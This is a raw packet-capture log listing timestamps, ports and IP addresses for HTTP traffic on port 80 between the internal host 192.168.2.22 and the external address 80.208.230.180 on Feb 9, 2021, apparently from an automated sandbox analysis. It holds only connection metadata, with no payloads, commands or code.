Feb 9, 2021 11:54:51.459094048 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.459095001 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.459132910 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.459136009 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.459172964 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.459175110 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.459213018 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.459222078 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.459264040 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.459264040 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.459301949 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.459305048 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.459341049 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.459342957 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.459379911 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.459391117 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.459418058 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.459429026 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.459456921 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.459462881 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.459495068 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.459506989 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.459538937 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.459542990 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.459584951 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.459587097 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.459624052 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.459630013 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.459664106 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.459667921 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.459702969 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.459707975 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.459741116 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.459748030 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.459779024 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.459786892 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.459822893 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.459822893 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.459872961 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.459887028 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.459939003 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.459938049 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.459978104 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.459988117 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.460016966 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.460026026 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.460057974 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.460062981 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.460094929 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.460107088 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.460134029 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.460140944 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.460171938 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.460180044 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.460217953 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.467247009 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.511100054 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.511147022 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.511179924 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.511226892 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.511235952 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.511256933 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.511261940 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.511274099 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.529321909 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.529354095 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.529397964 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.529429913 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.529438019 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.529464960 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.529464960 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.529472113 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.529484034 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.529509068 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.529524088 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.529532909 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.529534101 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.529540062 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.529577017 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.536541939 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.536590099 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.536638975 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.536648035 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.536663055 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.536690950 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.536737919 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.536768913 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.536789894 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.536799908 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.536806107 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.536839008 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.536855936 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.536885977 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.536894083 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.536930084 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.536972046 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.536982059 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.537004948 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.537022114 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.537020922 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.537070036 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.537074089 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.537122011 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.537132025 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.537173033 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.537174940 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.537220001 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.537226915 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.537273884 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.537311077 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.537326097 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.537348032 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.537368059 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.537374973 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.537419081 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.537429094 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.537465096 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.537487030 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.537511110 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.537512064 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.537543058 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.537559032 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.537590981 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.537591934 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.537640095 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.537641048 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.537683964 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.537697077 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.537722111 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.537754059 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.537767887 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.537777901 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.537786007 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.537806034 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.537818909 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.537822962 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.537859917 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.537879944 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.537898064 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.537930965 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.537939072 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.537960052 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.537970066 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.537977934 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.538006067 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.538023949 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.538039923 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.538058996 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.538074017 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.538091898 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.538126945 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.550709963 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.580466032 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.580501080 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.580527067 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.580550909 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.580571890 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.580594063 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.580615997 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.580638885 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.580661058 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.580682993 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.580710888 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.580724001 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.580735922 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.580758095 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.580760002 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.580765963 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.580770969 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.580775023 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.580779076 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.580782890 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.580787897 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.580791950 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.635792017 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.705605030 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.705637932 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.705658913 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.705672026 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.705682993 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.705692053 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.705701113 CET	80	49186	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:51.705720901 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.705724955 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:51.705753088 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:52.644643068 CET	49187	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:52.644680977 CET	49186	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.114200115 CET	49188	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.114581108 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.185529947 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.185666084 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.187577009 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.187690020 CET	80	49188	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.187812090 CET	49188	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.258457899 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.272800922 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.272845984 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.272885084 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.273001909 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.273039103 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.273045063 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.273175955 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.273258924 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.273277998 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.273353100 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.273354053 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.273421049 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.273442030 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.273485899 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.273500919 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.273535013 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.273565054 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.273585081 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.273595095 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.273658037 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.281738997 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.344474077 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.344521046 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.344552994 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.344571114 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.344600916 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.344628096 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.344655037 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.344677925 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.344700098 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.344722033 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.344733953 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.344749928 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.344782114 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.344799995 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.344805002 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.344816923 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.344824076 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.344835997 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.344860077 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.344892025 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.344904900 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.344922066 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.344953060 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.344963074 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.344971895 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.344980001 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.344984055 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.345036030 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.345047951 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.361453056 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.416022062 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.416079998 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.416129112 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.416135073 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.416172028 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.416176081 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.416182041 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.416212082 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.416218042 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.416249990 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.416275978 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.416287899 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.416289091 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.416330099 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.416344881 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.416368961 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.416397095 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.416409969 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.416414022 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.416457891 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.416457891 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.416501999 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.416502953 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.416541100 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.416547060 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.416579962 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.416613102 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.416625977 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.416626930 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.416665077 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.416672945 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.416703939 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.416718960 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.416743994 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.416750908 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.416790962 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.416791916 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.416836023 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.416865110 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.416874886 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.416881084 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.416913033 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.416914940 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.416954041 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.416956902 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.416992903 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.417007923 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.417032003 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.417037010 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.417073965 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.417078972 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.417123079 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.417129040 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.417166948 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.417170048 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.417207956 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.417221069 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.417247057 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.417279959 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.417285919 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.417292118 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.417325020 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.417339087 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.417362928 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.417365074 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.417412043 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.417447090 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.417490959 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.417531967 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.417541027 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.417545080 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.417593002 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.432251930 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.432298899 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.432332039 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.432359934 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.432363987 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.432377100 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.432382107 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.432404041 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.436378956 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.488413095 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.488470078 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.488518953 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.488547087 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.488549948 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.488579035 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.488581896 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.488601923 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.488605976 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.488626003 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.488632917 CET	80	49189	80.208.230.180	192.168.2.22
Feb 9, 2021 11:54:55.488657951 CET	49189	80	192.168.2.22	80.208.230.180
Feb 9, 2021 11:54:55.488660097 CET	80	49189	80.208.230.180	192.168.2.22
